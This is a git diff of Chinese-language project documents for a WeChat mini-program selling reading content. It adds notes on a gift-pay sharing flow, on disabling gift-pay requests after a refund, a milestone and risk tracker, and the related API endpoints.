+ + + \ No newline at end of file diff --git a/代付页面/stitch_soul/_3/screen.png b/代付页面/stitch_soul/_3/screen.png new file mode 100644 index 00000000..d986c388 Binary files /dev/null and b/代付页面/stitch_soul/_3/screen.png differ diff --git a/代付页面/stitch_soul/image.png/screen.png b/代付页面/stitch_soul/image.png/screen.png new file mode 100644 index 00000000..5927d7a0 Binary files /dev/null and b/代付页面/stitch_soul/image.png/screen.png differ diff --git a/开发文档/10、项目管理/运营与变更.md b/开发文档/10、项目管理/运营与变更.md index f113a467..9dc0a593 100644 --- a/开发文档/10、项目管理/运营与变更.md +++ b/开发文档/10、项目管理/运营与变更.md @@ -469,6 +469,26 @@ Mycontent-temp/miniprogram 为样式预览分支,miniprogram 为线上主线 --- +# 第二十部分:代付流程优化与退款禁用(2026-03-18) + +## 代付流程(阅读页内发起) + +- **发起代付**:阅读页内使用**居中弹窗**选择名额数 → 微信支付 → 支付成功后直接分享给好友。 +- **好友领取**:好友点击分享进入阅读页时,自动调用领取接口并解锁文章(非 singlePage 场景)。 +- **朋友圈 singlePage 兼容**:若为朋友圈单页模式(能力不完整),禁止执行支付/自动领取等强动作,提示并引导用户点击底部「前往小程序」进入完整版后再操作。 + +## 退款后的禁用规则(关键修复) + +- 管理端对“代付批量订单”退款成功后,必须同步将对应 `gift_pay_requests.status` 标记为 `refunded`。 +- 小程序「我发起的代付」与代付详情页在 `refunded` 状态下:展示“已退款”,不可再分享/领取。 +- 管理端推广中心“代付请求”Tab:支持筛选与展示 `refunded`。 + +## 相关文档 + +- `开发文档/代付-需求分析与待完善.md`(状态机补充:pending_pay/paid/refunded/cancelled/expired) + +--- + # 第十九部分:代付功能完善(2026-03-17 橙子整理) ## 变更摘要 diff --git a/开发文档/10、项目管理/项目落地推进表.md b/开发文档/10、项目管理/项目落地推进表.md new file mode 100644 index 00000000..96bac05f --- /dev/null +++ b/开发文档/10、项目管理/项目落地推进表.md @@ -0,0 +1,57 @@ +# 项目落地推进表(里程碑) + +> 作为《需求汇总》《以界面定需求》《运营与变更》的“执行层”补充:记录**当前阶段目标**、**里程碑**、**阻塞项**与**下一步**。 +> 更新日期:2026-03-18 + +--- + +## 一、当前阶段(概览) + +| 目标 | 说明 | 负责人 | 状态 | +|------|------|--------|------| +| 稳定版三端功能闭环 | 小程序/管理端/后端按《以界面定需求》对齐,核心链路可用 | 全员 | 已完成(持续优化) | +| 新版差异收敛 | new-soul 作为参考,按“稳定版为准”选择性迁移 | 产品/开发 | 进行中 | +| 性能与稳定性 | Redis 缓存、OSS、/health、测试流程定稿 | 后端/测试 | 已完成(回归中) | + +--- + +## 二、里程碑(按主题) + +### 2.1 内容阅读与付费(阅读/购买/权益) + +| 里程碑 | 验收口径 | 负责人 | 状态 | 备注 | +|-------|----------|--------|------|------| +| 阅读页权限状态机 | 未授权只返回预览;授权显示全文;VIP 全章免费 | 后端/小程序 | 已完成 | 见《运营与变更》阅读规则澄清 | +| 支付链路(微信/余额) | 下单→支付→回调→解锁/分润正确 | 后端/小程序/测试 | 已完成 | 见 scripts/test 流程用例 | + +### 2.2 代付分享(发起人支付,好友领取) + +| 里程碑 | 验收口径 | 负责人 | 状态 | 备注 | +|-------|----------|--------|------|------| +| 代付闭环 | 发起人支付后分享;好友打开领取并解锁;领取明细可查 | 小程序/后端/测试 | 已完成 | 相关文档:代付-业务线框图/简化流程设计/需求分析 | +| 朋友圈 singlePage 兼容 | 单页模式不做强动作(支付/自动领取),引导“前往小程序” | 小程序/测试 | 已完成 | 团队经验库 2026-03-18 | + +### 2.3 推广分销与提现 + +| 里程碑 | 验收口径 | 负责人 | 状态 | 备注 | +|-------|----------|--------|------|------| +| 分润规则可配置 | 会员订单 20%/10%,内容订单 90%,配置可控 | 后端/管理端 | 已完成 | 推广设置页 | +| 提现闭环 | 小程序申请→管理端审核/打款→回写状态→订阅消息 | 后端/管理端/小程序 | 已完成 | 见部署文档与订阅消息 | + +--- + +## 三、风险与阻塞(持续维护) + +| 项 | 风险/阻塞 | 影响 | 建议处理 | +|----|-----------|------|----------| +| 朋友圈 singlePage | 分享进入能力不完整,支付/登录/领取易失败 | 转化、投诉 | 统一单页模式判断与引导(已沉淀) | +| 新版运行时配置差异 | runtime bootstrap / mpConfig 扩展未完全迁移 | 部署与环境切换 | 按《迁移完成度与待办清单》P0/P1 分批补齐 | + +--- + +## 四、下一步(建议顺序) + +1. **补齐新版运行时配置(P0/P1)**:runtime config、loadMpConfig 扩展、auditMode 审核隐藏逻辑(以《迁移完成度与待办清单》为准) +2. **文档持续归档**:新增/变更功能后同步更新《以界面定需求》《需求汇总》《运营与变更》 +3. **按测试流程回归**:每次大变更按 `scripts/test/功能测试流程.md` 输出报告并归档 + diff --git a/开发文档/1、需求/以界面定需求.md b/开发文档/1、需求/以界面定需求.md index 777597e2..77069cbd 100644 --- a/开发文档/1、需求/以界面定需求.md +++ b/开发文档/1、需求/以界面定需求.md @@ -24,7 +24,7 @@ |----------|----------|----------| | **pages/index/index** | 首页:超级个体/VIP 成员、精选推荐、目录入口、最新章节、用户资料弹窗 | `GET /api/miniprogram/vip/members`、`GET /api/miniprogram/users`、`GET /api/miniprogram/book/recommended`、`GET /api/miniprogram/book/all-chapters`、`GET /api/miniprogram/book/latest-chapters`、`GET /api/miniprogram/user/profile` | | **pages/chapters/chapters** | 目录:章节列表、免费/付费/VIP 权限、热门与最新 | `GET /api/miniprogram/book/all-chapters`、`GET /api/miniprogram/config` | -| **pages/read/read** | 阅读:章节内容、购买状态、支付下单、阅读进度、@提及 | `GET /api/miniprogram/book/chapter`、`GET /api/miniprogram/user/purchase-status`、`POST /api/miniprogram/pay`、`POST /api/miniprogram/user/reading-progress`、`GET /api/miniprogram/config` | +| **pages/read/read** | 阅读:章节内容、购买状态、支付下单、阅读进度、@提及、代付分享(发起→支付→分享;好友自动领取解锁) | `GET /api/miniprogram/book/chapter`、`GET /api/miniprogram/user/purchase-status`、`POST /api/miniprogram/pay`、`POST /api/miniprogram/user/reading-progress`、`GET /api/miniprogram/config`、`POST /api/miniprogram/gift-pay/create`、`POST /api/miniprogram/gift-pay/initiator-pay`、`POST /api/miniprogram/gift-pay/redeem`、`GET /api/miniprogram/gift-pay/detail` | | **pages/match/match** | 找伙伴:匹配类型、留资/匹配提交、资源对接 | `GET /api/miniprogram/config`(match_config)、`POST /api/miniprogram/match/*` 等 | | **pages/my/my** | 我的:配置、阅读统计、待确认提现、收益、VIP 状态、提现入口 | `GET /api/miniprogram/config`、`GET /api/miniprogram/user/dashboard-stats`、`GET /api/miniprogram/withdraw/pending-confirm`、`GET /api/miniprogram/earnings`、`GET /api/miniprogram/vip/status`、`POST /api/miniprogram/user/update`、`POST /api/miniprogram/withdraw` | | **pages/referral/referral** | 推广中心:推广数据、海报与小程序码、复制文案、申请提现 | `GET /api/miniprogram/referral/data`、`POST /api/miniprogram/qrcode`、`POST /api/miniprogram/withdraw` | diff --git a/开发文档/1、需求/需求汇总.md b/开发文档/1、需求/需求汇总.md index 7be99212..601fa378 100644 --- a/开发文档/1、需求/需求汇总.md +++ b/开发文档/1、需求/需求汇总.md @@ -55,4 +55,6 @@ IP 设定、风格、输出规范(见原卡若角色设定)。 | 2026-03-16 | 存客宝创建计划参数:planType=1、sceneId=9、status=1 | 已完成 | db_person.go | | 2026-03-16 | @mention 存储格式:span 必须含 data-label,否则 TipTap 显示 token | 已完成 | ParseAutoLinkContent、autolink.go | | 2026-03-17 | 代付统一到代付页:gift=1&ref 打开 read 页时 redirectTo 代付页,禁止在阅读页代付;代付页显示部分文章信息 | 已完成 | read.js onLoad;代付页已有 description | +| 2026-03-18 | 代付流程调整:阅读页内居中弹窗选择名额→支付成功直接分享;好友打开阅读页自动领取并解锁(含朋友圈 singlePage 降级引导) | 已完成 | read 页代付弹窗+自动领取;singlePage 引导规则入库 | +| 2026-03-18 | 代付退款后禁用:订单退款后代付请求标记 refunded,小程序/管理端均展示“已退款”,不可再分享/领取 | 已完成 | 后端退款同步 gift_pay_requests.status=refunded | | - | 链接人与事所有同步需求汇总 | - | 链接人与事-所有同步需求.md | diff --git a/开发文档/代付-需求分析与待完善.md b/开发文档/代付-需求分析与待完善.md index dff44319..ce70faab 100644 --- a/开发文档/代付-需求分析与待完善.md +++ b/开发文档/代付-需求分析与待完善.md @@ -68,6 +68,7 @@ read 页「代付分享」 | 发起人视角 | 隐藏发起人信息、安全徽章、右侧箭头 | | 创建态提示 | 创建后无法退款 | | 份数校验 | 前端支付时校验正整数;后端校验 ≥1 | +| 退款后禁用 | 订单退款后,同步将 gift_pay_requests 标记为 refunded,小程序端不可再分享/领取,展示「已退款」 | ✅ 已实现(2026-03-18) | --- @@ -76,3 +77,15 @@ read 页「代付分享」 | 项 | 说明 | |------|------| | ref 解析 | app 对分享 path 中 ref 的解析,与 bindReferralCode 规则是否一致 | + +--- + +## 五、状态机补充(用于验收) + +| gift_pay_requests.status | 含义 | 发起人可操作 | 好友可操作 | +|---|---|---|---| +| pending_pay | 待发起人支付 | 支付 / 取消 | 等待 | +| paid | 已支付待领取 | 分享 | 领取/已领取 | +| refunded | 已退款 | 不可分享(仅展示已退款) | 不可领取 | +| cancelled | 已取消 | 不可操作 | 不可操作 | +| expired | 已过期 | 不可操作 | 不可操作 |